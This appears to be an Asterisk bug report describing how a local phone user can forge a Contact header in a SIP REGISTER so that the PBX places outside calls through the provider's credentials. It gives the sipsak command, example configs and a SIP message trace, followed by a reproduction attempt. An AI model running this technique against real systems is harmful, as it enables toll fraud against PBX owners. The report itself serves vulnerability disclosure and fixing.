Summary:                    [authenticaion] in sip.conf: A malicius "Contact"
header in REGISTER can get free calls through SIP provider
Description: 
Hi, a malicius "Contact" header can be very damaged as I explain in the
following example:


Suppose our Asterisk has configured a SIP provider "sip_provider" with
"realm=sip_provider.com" and a SIP local phone "2001" who is not allowed to
do calls through "sip_provider":


sip.conf:
------------------------------------------
[authentication]
auth = client_number:client_password at sip_provider.com

[sip_provider]
type = peer
host = sip_provider.com

[2001] ; local phone
type = friend
secret = 1234
context = from_phone
------------------------------------------


extensions.conf:
------------------------------------------
[from_phone]
; Just allow to do test calls
exten => 500,1,Echo
exten => 501,1,PlayBack(demo-congrats)
exten => _200X,1,Dial(SIP/${EXTEN}) ; call to himself and other local
phones
------------------------------------------


Note that for the "sip_provider", instead of using "secret" and "username"
in the peer definition we have defined an "auth" in [autheticacion]
section. AFAIK this is perfectly valid.

Note too that "phone" is just allowed to call 500, 501 and 200X (so
calling to 2001 he would call himself).



Now because the owner of 2001 phone is angry he decides to hack the
enterprise PBX by doing it:

  sipsak -U -C "sip:0034999000111 at sip_provider.com:5060" -a "1234" -s
sip:2001 at asterisk_ip

This will cause a malicious registration in Asterisk for the AoR
"sip:2001 at asterisk_ip".

Now this person calls to himself by calling to 2001 extension:

- Asterisk then by the execution of dialplan will do:
    Dial(SIP/2001)

- This will cause an INVITE to the sip_provider and replies like:

* asterisk_ip -> sip_provider.com
INVITE sip:0034999000111 at sip_provider.com:5060 SIP/2.0
From: "asterisk" <sip:asterisk at asterisk_ip>
To: <sip:0034999000111 at sip_provider.com:5060>


* sip_provider.com -> asterisk_ip
SIP/2.0 407 Proxy Authentication Required
Proxy-Authenticate: Digest algorithm=MD5, realm="sip_provider.com",
nonce="1748d3"


* asterisk_ip -> sip_provider.com
INVITE sip:0034999000111 at sip_provider.com:5060 SIP/2.0
From: "asterisk" <sip:asterisk at asterisk_ip>
To: <sip:0034999000111 at sip_provider.com:5060>
Proxy-Authorization: Digest username="client_number",
realm="sip_provider.com", algorithm=MD5,
uri="sip:0034999000111 at sip_provider.com:5060", nonce="1748d3",
response="70d491d8998a961dc"


* sip_provider.com -> asterisk_ip
183 Session Progress

ooohhhhhh !!!


So the malicious user has made a PSTN call by free!

I'm trying to reproduce this, but for some reason I'm getting an error
using sipsak 0.9.6 when trying to use the line as provided:

 sipsak -U -C sip:11776 at 192.168.128.5:5060 -a 1234 -s
sip:2001 at 192.168.128.112
 warning: ignoring -i option when in usrloc mode

Anyone seen that before?

192.168.128.5 is the "sip provider", and 192.168.128.112 is the local
Asterisk server.
